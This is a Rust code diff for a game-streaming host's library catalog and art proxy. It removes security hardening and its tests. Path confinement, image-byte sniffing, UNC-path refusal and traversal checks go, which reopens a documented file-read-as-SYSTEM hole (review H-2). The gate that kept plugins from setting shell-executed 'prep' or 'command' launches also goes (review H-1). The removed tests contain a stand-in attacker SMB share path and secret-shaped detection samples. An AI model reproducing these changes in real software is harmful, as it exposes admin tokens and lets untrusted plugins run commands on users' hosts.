-            Some("/api/v1/library/art/lutris:42/hero"),
-            "a file:// value is local art too"
-        );
-        assert_eq!(art.logo.as_deref(), Some("https://cdn/l.png"));
-
-        // Re-running the rewrite is a no-op — the emitted proxy path must not be mistaken for a file.
-        let before = art.portrait.clone();
-        proxy_local_art("lutris:42", &mut art);
-        assert_eq!(art.portrait, before);
-    }
-
-    const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13];
-
-    /// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the
-    /// plugin lane can write — so what it will and will not read IS the security boundary
-    /// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing.
-    #[test]
-    fn local_art_bytes_is_confined_and_image_only() {
+    fn local_art_bytes_reads_a_real_file() {
        let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
-        let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id()));
        std::fs::create_dir_all(&dir).unwrap();
-        std::fs::create_dir_all(&outside).unwrap();
-        // Confine the proxy to `dir` for the duration of this test.
-        std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir);
-
-        // A real image inside the root: served, with the content type SNIFFED from the bytes.
-        let cover = dir.join("cover.png");
-        std::fs::write(&cover, PNG).unwrap();
-        let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover");
-        assert_eq!(bytes, PNG);
+        let f = dir.join("cover.png");
+        std::fs::write(&f, [1u8, 2, 3, 4]).unwrap();
+        let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file");
+        assert_eq!(bytes, vec![1, 2, 3, 4]);
        assert_eq!(ctype, "image/png");
-
-        // A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin
-        // writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin.
-        let secret = dir.join("mgmt-token");
-        std::fs::write(&secret, b"super-secret-admin-token").unwrap();
-        assert!(
-            local_art_bytes(secret.to_str().unwrap()).is_none(),
-            "an extensionless secret must not be served as application/octet-stream"
-        );
-        let disguised = dir.join("mgmt-token.png");
-        std::fs::write(&disguised, b"super-secret-admin-token").unwrap();
-        assert!(
-            local_art_bytes(disguised.to_str().unwrap()).is_none(),
-            "an image extension must not be enough — the bytes must BE an image"
-        );
-
-        // Outside the configured root: refused even though it is a genuine image.
-        let elsewhere = outside.join("cover.png");
-        std::fs::write(&elsewhere, PNG).unwrap();
-        assert!(
-            local_art_bytes(elsewhere.to_str().unwrap()).is_none(),
-            "a path outside every art root must be refused"
-        );
-        // …and a path that only *escapes* via traversal is caught, because we canonicalize first.
-        let traversal = dir
-            .join("..")
-            .join(outside.file_name().unwrap())
-            .join("cover.png");
-        assert!(
-            local_art_bytes(traversal.to_str().unwrap()).is_none(),
-            "`..` out of the root must be refused after canonicalization"
-        );
-
        assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
-        // A directory is not a servable cover — the proxy must never become a directory reader.
-        assert!(local_art_bytes(dir.to_str().unwrap()).is_none());
-
-        // The `file://` plugin contract reaches the SAME bytes through the SAME gate. This is the
-        // half that matters for the extracted scanners: they emit `file://` values, so if the
-        // conversion happened after the confinement check the check would be inspecting a string
-        // that is not the path being read.
-        let as_url = format!("file://{}", cover.to_str().unwrap());
-        assert_eq!(
-            local_art_bytes(&as_url)
-                .expect("file:// reads the same cover")
-                .0,
-            PNG
-        );
-        // …and a `file://` value is confined exactly like a bare one — no bypass by spelling.
-        assert!(
-            local_art_bytes(&format!("file://{}", elsewhere.to_str().unwrap())).is_none(),
-            "file:// must not escape the art roots"
-        );
-        // Percent-encoded traversal is decoded BEFORE canonicalization, so it cannot hide from the
-        // `..` check.
-        assert!(
-            local_art_bytes(&format!(
-                "file://{}/%2e%2e/{}/cover.png",
-                dir.to_str().unwrap(),
-                outside.file_name().unwrap().to_str().unwrap()
-            ))
-            .is_none(),
-            "percent-encoded traversal must be refused"
-        );
-
-        // A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit.
-        assert!(!art_path_is_servable(r"\\attacker\share\a.png"));
-
-        std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS");
        let _ = std::fs::remove_dir_all(&dir);
-        let _ = std::fs::remove_dir_all(&outside);
-    }
-
-    /// Write-time validation refuses what read-time would refuse, so an unservable path never even
-    /// reaches `library.json`. URLs are none of its business.
-    #[test]
-    fn validate_art_paths_rejects_unservable_local_paths() {
-        let ok = Artwork {
-            portrait: Some("https://cdn/x.jpg".into()),
-            hero: Some("data:image/png;base64,AAAA".into()),
-            logo: Some("/api/v1/library/art/custom:x/logo".into()),
-            header: None,
-        };
-        assert!(validate_art_paths(&ok).is_ok(), "URLs pass through");
-
-        let unc = Artwork {
-            portrait: Some(r"\\attacker\share\a.png".into()),
-            ..Default::default()
-        };
-        assert!(
-            validate_art_paths(&unc).is_err(),
-            "UNC is refused at write time"
-        );
-
-        let secret = Artwork {
-            hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()),
-            ..Default::default()
-        };
-        let err = validate_art_paths(&secret).expect_err("a secret path is refused");
-        assert!(
-            err.starts_with("art.hero"),
-            "the error names the field: {err}"
-        );
-    }
-
-    #[test]
-    fn sniff_image_type_recognizes_containers_and_rejects_secrets() {
-        assert_eq!(sniff_image_type(PNG), Some("image/png"));
-        assert_eq!(
-            sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]),
-            Some("image/jpeg")
-        );
-        assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif"));
-        assert_eq!(
-            sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "),
-            Some("image/webp")
-        );
-        assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp"));
-        // The shapes a stolen secret actually has.
-        assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None);
-        assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None);
-        assert_eq!(sniff_image_type(b""), None);
    }
 }
@@ -28,17 +28,6 @@ pub struct CustomEntry {
    /// host-assigned `id` stays stable across reconciles. Present iff `provider` is.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub external_id: Option<String>,
-    /// The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.
-    /// `None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.
-    ///
-    /// Materialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an
-    /// entry is self-describing: its id and its `store` badge derive from the entry alone, and stay
-    /// correct even while the claim map is being rewritten.
-    #[serde(default, skip_serializing_if = "Option::is_none")]
-    pub store: Option<String>,
-    /// Whether this entry is a game or the launcher itself — see [`GameRole`].
-    #[serde(default, skip_serializing_if = "GameRole::is_game")]
-    pub role: GameRole,
    /// How to recognize this title's process once it is running (design §9) — the one thing a
    /// provider knows that the host cannot work out for itself.
    ///
@@ -64,10 +53,6 @@ pub struct CustomInput {
    /// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
    #[serde(default)]
    pub prep: Vec<crate::hooks::PrepCmd>,
-    /// Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher
-    /// entry is legal (an operator may want a "Steam" tile without installing the steam plugin).
-    #[serde(default)]
-    pub role: GameRole,
    /// How to recognize this title's process — see [`CustomEntry::detect`].
    #[serde(default)]
    pub detect: DetectHint,
@@ -91,10 +76,6 @@ pub struct ProviderEntryInput {
    /// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
    #[serde(default)]
    pub prep: Vec<crate::hooks::PrepCmd>,
-    /// Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin
-    /// emits its `launchers(cfg)` entries with `role: "launcher"`.
-    #[serde(default)]
-    pub role: GameRole,
    /// How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its
    /// titles' install directories (Playnite does) should send them: it is what lets a game launched
    /// through the provider's own client still end its session when the player quits.
@@ -120,13 +101,10 @@ impl From<CustomEntry> for GameEntry {
            .unwrap_or_default()
            .or_hint(&c.detect);
        GameEntry {
-            id: library_id_for(&c),
-            // A claimed entry wears its store's badge; everything else is `custom`. `provider` rides
-            // along either way, so attribution ("synced by the steam plugin") survives the claim.
-            store: c.store.clone().unwrap_or_else(|| "custom".into()),
+            id: format!("custom:{}", c.id),
+            store: "custom".into(),
            title: c.title,
            art: c.art,
-            role: c.role,
            launch: c.launch,
            provider: c.provider,
            detect,
@@ -144,123 +122,42 @@ fn custom_path() -> PathBuf {
    pf_paths::config_dir().join("library.json")
 }

-/// The persisted catalog (`library.json` **v2**): the entries plus the store-claim map (D2).
-#[derive(Debug, Default, Serialize, Deserialize)]
-pub struct Catalog {
-    #[serde(default)]
-    pub entries: Vec<CustomEntry>,
-    /// `store id → provider id`. One provider per store; a second claimant is refused (409).
-    ///
-    /// The map — not the entries — is the authority for a claim, which is exactly why it survives an
-    /// **empty reconcile**: a store the plugin legitimately owns can have zero installed titles, and
-    /// the built-in scanner it suppresses must stay suppressed anyway. Releasing is explicit
-    /// (`DELETE /library/provider/{p}`, or the plugin claiming a different store).
-    #[serde(default)]
-    pub claims: BTreeMap<String, String>,
-}
-
-/// What `library.json` may contain on disk. v1 was a bare array of entries; v2 is the [`Catalog`]
-/// object. Untagged, so an existing v1 file loads unchanged — and the host always WRITES v2, so the
-/// first mutation after an upgrade migrates the file in place with no separate migration step.
-#[derive(Deserialize)]
-#[serde(untagged)]
-enum LibraryFile {
-    V2(Catalog),
-    Legacy(Vec<CustomEntry>),
-}
-
-/// Load the whole catalog (default + non-fatal if the file is absent or malformed).
-pub fn load_catalog() -> Catalog {
-    match std::fs::read_to_string(custom_path()) {
-        Ok(raw) => match serde_json::from_str::<LibraryFile>(&raw) {
-            Ok(LibraryFile::V2(c)) => c,
-            Ok(LibraryFile::Legacy(entries)) => Catalog {
-                entries,
-                claims: BTreeMap::new(),
-            },
-            Err(e) => {
-                tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
-                Catalog::default()
-            }
-        },
-        Err(_) => Catalog::default(),
-    }
-}
-
-/// Load just the entries — the read path every library surface uses.
+/// Load the custom entries (empty + non-fatal if the file is absent or malformed).
 pub fn load_custom() -> Vec<CustomEntry> {
-    load_catalog().entries
-}
-
-/// The active store claims (`store → provider`). Read per library scan to suppress the built-in
-/// scanner a plugin has taken over (D2).
-pub fn claimed_stores() -> BTreeMap<String, String> {
-    load_catalog().claims
-}
-
-/// The library id a stored entry surfaces as. **The single source of truth for the mapping** —
-/// [`From<CustomEntry> for GameEntry`] and every id→entry lookup go through it, so the id scheme
-/// can't drift between the catalog, the art proxy and the launch resolver.
-///
-/// A **claimed** entry (D2) gets the deterministic `<store>:<external_id>` its built-in scanner used
-/// to produce — `steam:440`, `heroic:legendary:Quail` — so entry ids, GameStream FNV-1a app ids,
-/// client art caches and Moonlight pins all survive the migration to a plugin untouched. That is the
-/// whole point of the claim: extraction must be invisible to everything downstream. An unclaimed
-/// entry keeps the opaque host-assigned `custom:<id>`.
-pub(crate) fn library_id_for(e: &CustomEntry) -> String {
-    match (e.store.as_deref(), e.external_id.as_deref()) {
-        (Some(store), Some(external)) => format!("{store}:{external}"),
-        _ => format!("custom:{}", e.id),
+    match std::fs::read_to_string(custom_path()) {
+        Ok(raw) => serde_json::from_str(&raw).unwrap_or_else(|e| {
+            tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
+            Vec::new()
+        }),
+        Err(_) => Vec::new(),
    }
 }

-/// The **source id** an entry is toggled by (WP2.6): its claimed store when it has one, else its
-/// provider id. `None` for a manual entry — the custom store is not a source and can never be
-/// switched off. Since the claimed store id, the provider id and the old scanner id are all the same
-/// string by construction, a user's existing disabled state carries over verbatim.
-pub(crate) fn source_id_for(e: &CustomEntry) -> Option<&str> {
-    e.store.as_deref().or(e.provider.as_deref())
-}
-
-/// The stored entry a full **library id** refers to, or `None`. The art proxy resolves *any* id this
-/// way before falling back to the legacy per-store branches (WP1.2), which is what lets a plugin's
-/// entries be served regardless of what their ids look like.
-pub fn entry_for_library_id(library_id: &str) -> Option<CustomEntry> {
-    load_custom()
-        .into_iter()
-        .find(|e| library_id_for(e) == library_id)
-}
-
-/// Serve a stored entry's **local** art file for one [`ArtKind`] — the `library.json` branch of the
-/// art proxy (`GET /library/art/<library id>/<kind>`). `None` if the id names no stored entry, it has
-/// no art of that kind, or that art value isn't a servable local file (e.g. an `http` URL the client
-/// fetches itself). Blocking IO — call off the async runtime.
-pub fn library_local_art_bytes(library_id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
-    let field = art_field(&entry_for_library_id(library_id)?.art, kind)?;
+/// Serve a custom/provider entry's stored **local** art file for one [`ArtKind`] — the non-Steam
+/// branch of the art proxy (`GET /library/art/custom:<id>/<kind>`). `id` is the bare custom id (the
+/// `custom:` prefix already stripped by the handler). `None` if the entry is unknown, has no art of
+/// that kind, or that art value isn't a servable local file (e.g. an `http` URL the client fetches
+/// itself). Blocking IO — call off the async runtime.
+pub fn custom_local_art_bytes(id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
+    let entry = load_custom().into_iter().find(|e| e.id == id)?;
+    let field = match kind {
+        ArtKind::Portrait => entry.art.portrait,
+        ArtKind::Hero => entry.art.hero,
+        ArtKind::Logo => entry.art.logo,
+        ArtKind::Header => entry.art.header,
+    }?;
    is_local_art_path(&field)
        .then(|| local_art_bytes(&field))
        .flatten()
 }

-/// One [`Artwork`] field by kind — the tiny mapping the proxy and the box-art ladder share.
-pub(crate) fn art_field(art: &Artwork, kind: ArtKind) -> Option<String> {
-    match kind {
-        ArtKind::Portrait => art.portrait.clone(),
-        ArtKind::Hero => art.hero.clone(),
-        ArtKind::Logo => art.logo.clone(),
-        ArtKind::Header => art.header.clone(),
-    }
-}
-
-/// Persist the catalog in the **v2** shape (write-then-rename, restrictive perms). Every mutation
-/// path funnels through here, so a v1 file is upgraded by the first write.
-fn save_catalog(catalog: &Catalog) -> Result<()> {
+fn save_custom(entries: &[CustomEntry]) -> Result<()> {
    let dir = pf_paths::config_dir();
    // Owner-private dir (0700 / SYSTEM+Admins DACL) so a non-privileged local user can't plant a
    // library.json whose `prep`/`launch` commands the host would later execute — the same trust
    // boundary hooks.json and the mgmt token already use.
    pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
-    let json = serde_json::to_string_pretty(catalog)?;
+    let json = serde_json::to_string_pretty(entries)?;
    // Write-then-rename so a crash mid-write never truncates the catalog; `write_secret_file` gives
    // the temp file its restrictive perms (0600 / SYSTEM+Admins DACL) before the rename carries them
    // to the final path.
@@ -280,26 +177,19 @@ fn new_id(title: &str) -> String {
    hex::encode(&Sha256::digest(format!("{title}:{nanos}").as_bytes())[..6])
 }

-/// Outcome of a mutation — distinguishes "no such entry" from the two conflict cases the mgmt
-/// layer maps to 409 rather than 404.
+/// Outcome of a manual mutation against an id — distinguishes "no such entry" from "exists,
+/// but a provider owns it" (the mgmt layer maps the latter to 409, not 404).
 pub enum MutateOutcome<T> {
    Done(T),
    NotFound,
    /// The entry belongs to this provider — mutate it through the provider reconcile API
    /// (or remove the whole provider set); manual edits would be clobbered at the next sync.
    ProviderOwned(String),
-    /// The requested store claim is already held by a DIFFERENT provider (D2: one provider per
-    /// store). Refusing is the point — two plugins both emitting `steam:440` would collide on entry
-    /// ids, so the second claimant is told who holds it instead of silently taking over.
-    StoreClaimed {
-        store: String,
-        provider: String,
-    },
 }

 /// Create a custom (manual) entry, returning it with its assigned id.
 pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
-    let mut catalog = load_catalog();
+    let mut entries = load_custom();
    let entry = CustomEntry {
        id: new_id(&input.title),
        title: input.title,
@@ -308,13 +198,11 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
        prep: input.prep,
        provider: None,
        external_id: None,
-        store: None,
-        role: input.role,
        detect: input.detect,
        meta: input.meta,
    };
-    catalog.entries.push(entry.clone());
-    save_catalog(&catalog)?;
+    entries.push(entry.clone());
+    save_custom(&entries)?;
    emit_changed("manual");
    Ok(entry)
 }
@@ -322,8 +210,8 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
 /// Replace a manual entry's fields (id preserved). Provider-owned entries are refused —
 /// their state belongs to the provider's reconcile (RFC §8 ownership rule).
 pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<CustomEntry>> {
-    let mut catalog = load_catalog();
-    let Some(slot) = catalog.entries.iter_mut().find(|e| e.id == id) else {
+    let mut entries = load_custom();
+    let Some(slot) = entries.iter_mut().find(|e| e.id == id) else {
        return Ok(MutateOutcome::NotFound);
    };
    if let Some(provider) = &slot.provider {
@@ -333,61 +221,31 @@ pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<Custo
    slot.art = input.art;
    slot.launch = input.launch;
    slot.prep = input.prep;
-    slot.role = input.role;
    slot.detect = input.detect;
    slot.meta = input.meta;
    let updated = slot.clone();
-    save_catalog(&catalog)?;
+    save_custom(&entries)?;
    emit_changed("manual");
    Ok(MutateOutcome::Done(updated))
 }

 /// Delete a manual entry. Provider-owned entries are refused (see [`update_custom`]).
 pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
-    let mut catalog = load_catalog();
-    let Some(entry) = catalog.entries.iter().find(|e| e.id == id) else {
+    let mut entries = load_custom();
+    let Some(entry) = entries.iter().find(|e| e.id == id) else {
        return Ok(MutateOutcome::NotFound);
    };
    if let Some(provider) = &entry.provider {
        return Ok(MutateOutcome::ProviderOwned(provider.clone()));
    }
-    catalog.entries.retain(|e| e.id != id);
-    save_catalog(&catalog)?;
+    entries.retain(|e| e.id != id);
+    save_custom(&entries)?;
    emit_changed("manual");
    Ok(MutateOutcome::Done(()))
 }

 // ------------------------------------------------------------------ providers (RFC §8)

-/// The **operator-privileged field** set in a library payload, if the payload carries one — the
-/// fields whose contents the host later executes as the host user.
-///
-/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
-/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
-/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
-/// human typed the command into the admin console. Any lane that is not the operator's own token
-/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
-/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
-/// copies of the very primitive the `/hooks` carve-out exists to withhold.
-///
-/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
-/// The other launch kinds (`steam_appid`, `steam_ui`, `launcher_ui`, `epic`, `gog`, `aumid`,
-/// `lutris_id`, `heroic`) are all
-/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
-/// publish its whole catalogue, it just cannot hand the host a shell command to run.
-pub fn privileged_field(
-    launch: Option<&LaunchSpec>,
-    prep: &[crate::hooks::PrepCmd],
-) -> Option<&'static str> {
-    if !prep.is_empty() {
-        return Some("prep");
-    }
-    if launch.is_some_and(|l| l.kind == "command") {
-        return Some("launch.kind = \"command\"");
-    }
-    None
-}
-
 /// Provider ids are path segments, event sources, and console labels: keep them tame.
 /// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
 pub fn validate_provider_name(provider: &str) -> Result<(), String> {
@@ -407,26 +265,6 @@ pub fn validate_provider_name(provider: &str) -> Result<(), String> {
    }
 }

-/// Store claims become the **prefix of every claimed entry's library id**, so they are far more
-/// constrained than a provider name: no dots (an id is split on the first `:`, and a dotted store
-/// would read as a hostname in logs), and the two host-owned namespaces are off-limits — `custom` is
-/// the unclaimed-entry namespace and `manual` is the no-provider sentinel in `library.changed`.
-pub fn validate_store_claim(store: &str) -> Result<(), String> {
-    if store == "custom" || store == "manual" {
-        return Err(format!("store id `{store}` is reserved"));
-    }
-    let ok = !store.is_empty()
-        && store.len() <= 32
-        && store
-            .bytes()
-            .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || matches!(b, b'-' | b'_'));
-    if ok {
-        Ok(())
-    } else {
-        Err("store id must be 1–32 chars of [a-z0-9_-]".into())
-    }
-}
-
 /// Validate a reconcile payload: non-empty titles and unique, non-empty external ids (the
 /// diff key — a duplicate would make ownership of the surviving entry ambiguous).
 pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), String> {
@@ -444,40 +282,6 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
                e.external_id
            ));
        }
-        // Closed-vocabulary launch kinds are checked on the way IN as well as at launch time, so a
-        // plugin gets a 400 it can act on rather than a tile that silently refuses to start.
-        if let Some(launch) = &e.launch {
-            if launch.kind == "steam_ui" && !valid_steam_ui(&launch.value) {
-                return Err(format!(
-                    "entries[{i}]: `launch.value` for kind `steam_ui` must be `bigpicture` or `desktop`"
-                ));
-            }
-            // Refused rather than silently accepted, because the failure is otherwise invisible
-            // until a user clicks the tile: an unresolvable value yields no command at launch time.
-            if launch.kind == "launcher_ui" && !valid_launcher_ui(&launch.value) {
-                return Err(format!(
-                    "entries[{i}]: `launch.value` for kind `launcher_ui` names a launcher this host \
-                     cannot open (`{}`)",
-                    launch.value
-                ));
-            }
-        }
-        if let Some(marker) = &e.detect.env_marker {
-            if !valid_env_key(&marker.key) {
-                return Err(format!(
-                    "entries[{i}]: `detect.env_marker.key` must be 1–64 chars of [A-Za-z0-9_]"
-                ));
-            }
-            if marker
-                .value
-                .as_ref()
-                .is_some_and(|v| v.len() > MAX_ENV_VALUE)
-            {
-                return Err(format!(
-                    "entries[{i}]: `detect.env_marker.value` must be at most {MAX_ENV_VALUE} chars"
-                ));
-            }
-        }
    }
    Ok(())
 }
@@ -489,7 +293,6 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
 fn reconcile_entries(
    entries: &mut Vec<CustomEntry>,
    provider: &str,
-    store: Option<&str>,
    inputs: Vec<ProviderEntryInput>,
 ) -> Vec<CustomEntry> {
    // The provider's current entries, keyed by its own stable id.
@@ -514,10 +317,6 @@ fn reconcile_entries(
            prep: input.prep,
            provider: Some(provider.to_string()),
            external_id: Some(input.external_id),
-            // Stamping the claim per entry is what makes the surfaced id deterministic
-            // (`<store>:<external_id>`) — see `library_id_for`.
-            store: store.map(str::to_string),
-            role: input.role,
            detect: input.detect,
            meta: input.meta,
        });
@@ -527,86 +326,43 @@ fn reconcile_entries(
    result
 }

-/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`), optionally
-/// under a **store claim** (D2: `?store=steam`). The caller validates the name and payload first.
-/// Emits `library.changed` with the provider as the source.
-///
-/// Claiming is idempotent for the holder and refused for anyone else. A provider holds at most one
-/// store, so claiming a new one releases whatever it held before — otherwise an abandoned claim would
-/// go on suppressing a built-in scanner with nothing to replace it.
+/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`).
+/// The caller validates the name and payload first. Emits `library.changed` with the provider
+/// as the source.
 pub fn reconcile_provider(
    provider: &str,
-    store: Option<&str>,
    inputs: Vec<ProviderEntryInput>,
-) -> Result<MutateOutcome<Vec<CustomEntry>>> {
-    let mut catalog = load_catalog();
-    if let Some(store) = store {
-        if let Some(holder) = catalog.claims.get(store) {
-            if holder != provider {
-                return Ok(MutateOutcome::StoreClaimed {
-                    store: store.to_string(),
-                    provider: holder.clone(),
-                });
-            }
-        }
-        let previous: Vec<String> = catalog
-            .claims
-            .iter()
-            .filter(|(s, p)| p.as_str() == provider && s.as_str() != store)
-            .map(|(s, _)| s.clone())
-            .collect();
-        for stale in previous {
-            tracing::info!(provider, released = %stale, claimed = store, "library: provider moved its store claim");
-            catalog.claims.remove(&stale);
-        }
-        if catalog
-            .claims
-            .insert(store.to_string(), provider.to_string())
-            .is_none()
-        {
-            tracing::info!(provider, store, "library: store claimed by a provider");
-        }
-    }
-    let result = reconcile_entries(&mut catalog.entries, provider, store, inputs);
-    save_catalog(&catalog)?;
+) -> Result<Vec<CustomEntry>> {
+    let mut entries = load_custom();
+    let result = reconcile_entries(&mut entries, provider, inputs);
+    save_custom(&entries)?;
    emit_changed(provider);
-    Ok(MutateOutcome::Done(result))
+    Ok(result)
 }

-/// Remove every entry of `provider` **and release its store claim** (RFC §8:
-/// `DELETE /library/provider/{provider}` — the clean-uninstall path). Returns how many entries were
-/// removed; no event when nothing changed at all.
-///
-/// Releasing here — and only here — is what makes uninstalling a library plugin bring its built-in
-/// scanner straight back, with no restart and nothing to undo by hand.
+/// Remove every entry of `provider` (RFC §8: `DELETE /library/provider/{provider}` — the
+/// clean-uninstall path). Returns how many were removed; no event when nothing was.
 pub fn delete_provider(provider: &str) -> Result<usize> {
-    let mut catalog = load_catalog();
-    let before = catalog.entries.len();
-    catalog
-        .entries
-        .retain(|e| e.provider.as_deref() != Some(provider));
-    let removed = before - catalog.entries.len();
-    let claims_before = catalog.claims.len();
-    catalog.claims.retain(|_, p| p != provider);
-    let released = claims_before - catalog.claims.len();
-    if removed > 0 || released > 0 {
-        if released > 0 {
-            tracing::info!(provider, released, "library: store claim released");
-        }
-        save_catalog(&catalog)?;
+    let mut entries = load_custom();
+    let before = entries.len();
+    entries.retain(|e| e.provider.as_deref() != Some(provider));
+    let removed = before - entries.len();
+    if removed > 0 {
+        save_custom(&entries)?;
        emit_changed(provider);
    }
    Ok(removed)
 }

-/// The prep/undo steps for a library id — any **stored** entry (the in-host scanners have no
+/// The prep/undo steps for a library id — `custom:<id>` entries only (the other stores have no
 /// per-title config surface; a GameStream `apps.json` entry carries its own `prep` instead).
-///
-/// Resolved through [`entry_for_library_id`] rather than by stripping a `custom:` prefix, so a
-/// claimed entry's prep still runs: after extraction a `steam:440` entry is a stored one, and
-/// per-title prep is exactly the kind of thing an operator sets on a game they play.
 pub fn prep_for(library_id: &str) -> Vec<crate::hooks::PrepCmd> {
-    entry_for_library_id(library_id)
+    let Some(id) = library_id.strip_prefix("custom:") else {
+        return Vec::new();
+    };
+    load_custom()
+        .into_iter()
+        .find(|e| e.id == id)
        .map(|e| e.prep)
        .unwrap_or_default()
 }
@@ -619,7 +375,13 @@ fn emit_changed(source: &str) {
    });
 }

-// `valid_steam_appid` moved to `launch.rs` (WP1.1) — it validates a launch value, not a store entry.
+/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
+/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
+/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
+/// ([`windows_launch_for`]).
+pub(crate) fn valid_steam_appid(value: &str) -> bool {
+    !value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
+}

 #[cfg(test)]
 mod tests {
@@ -634,8 +396,6 @@ mod tests {
            prep: Vec::new(),
            provider: None,
            external_id: None,
-            store: None,
-            role: GameRole::Game,
            detect: DetectHint::default(),
            meta: GameMeta::default(),
        }
@@ -648,7 +408,6 @@ mod tests {
            art: Artwork::default(),
            launch: None,
            prep: Vec::new(),
-            role: GameRole::Game,
            detect: DetectHint::default(),
            meta: GameMeta::default(),
        }
@@ -670,79 +429,6 @@ mod tests {
        assert_eq!(g.meta.platform.as_deref(), Some("PS2"));
    }

-    /// D2's core promise: a **claimed** entry is indistinguishable from what the built-in scanner
-    /// produced. Same id, same store badge — plus the provider attribution the scanner never had.
-    #[test]
-    fn a_claimed_entry_reproduces_the_scanner_identity() {
-        let mut e = manual("host-assigned", "Portal 2");
-        e.provider = Some("steam".into());
-        e.external_id = Some("620".into());
-        e.store = Some("steam".into());
-        assert_eq!(library_id_for(&e), "steam:620");
-        let g: GameEntry = e.clone().into();
-        assert_eq!(g.id, "steam:620", "exactly what the scanner emitted");
-        assert_eq!(g.store, "steam", "the store badge, not `custom`");
-        assert_eq!(
-            g.provider.as_deref(),
-            Some("steam"),
-            "attribution rides along too"
-        );
-
-        // Unclaimed provider entries are untouched by any of this — rom-manager/playnite keep the
-        // opaque host id they have always had.
-        let mut u = manual("abc", "Chrono Trigger");
-        u.provider = Some("romm".into());
-        u.external_id = Some("rom-1".into());
-        assert_eq!(library_id_for(&u), "custom:abc");
-        assert_eq!(GameEntry::from(u).store, "custom");
-
-        // The source a toggle addresses: the claimed store when there is one, else the provider.
-        assert_eq!(source_id_for(&e), Some("steam"));
-        let mut r = manual("z", "T");
-        r.provider = Some("romm".into());
-        assert_eq!(source_id_for(&r), Some("romm"));
-        assert_eq!(
-            source_id_for(&manual("m", "Manual")),
-            None,
-            "never hideable"
-        );
-    }
-
-    /// A claimed entry keeps its `<store>:<external_id>` id across reconciles no matter what the
-    /// host-assigned id does — which is what keeps GameStream's FNV-1a app ids, client art caches
-    /// and Moonlight pins valid through the migration (the whole point of D2).
-    #[test]
-    fn claimed_ids_are_deterministic_across_reconciles() {
-        let mut entries = Vec::new();
-        let r1 = reconcile_entries(
-            &mut entries,
-            "steam",
-            Some("steam"),
-            vec![input("440", "Team Fortress 2"), input("620", "Portal 2")],
-        );
-        let ids: Vec<String> = r1.iter().map(library_id_for).collect();
-        assert_eq!(ids, ["steam:440", "steam:620"]);
-
-        // Re-sync with a renamed title and a new entry: the surfaced ids for surviving titles are
-        // byte-identical, and a brand-new title's id is derived, not random.
-        let r2 = reconcile_entries(
-            &mut entries,
-            "steam",
-            Some("steam"),
-            vec![
-                input("440", "Team Fortress 2 (2026)"),
-                input("70", "Half-Life"),
-            ],
-        );
-        let ids2: Vec<String> = r2.iter().map(library_id_for).collect();
-        assert_eq!(ids2, ["steam:440", "steam:70"]);
-
-        // Dropping the claim on a later reconcile reverts them to opaque custom ids — the entries
-        // are the same rows, so this is exactly the "plugin stopped claiming" degradation.
-        let r3 = reconcile_entries(&mut entries, "steam", None, vec![input("440", "TF2")]);
-        assert!(library_id_for(&r3[0]).starts_with("custom:"));
-    }
-
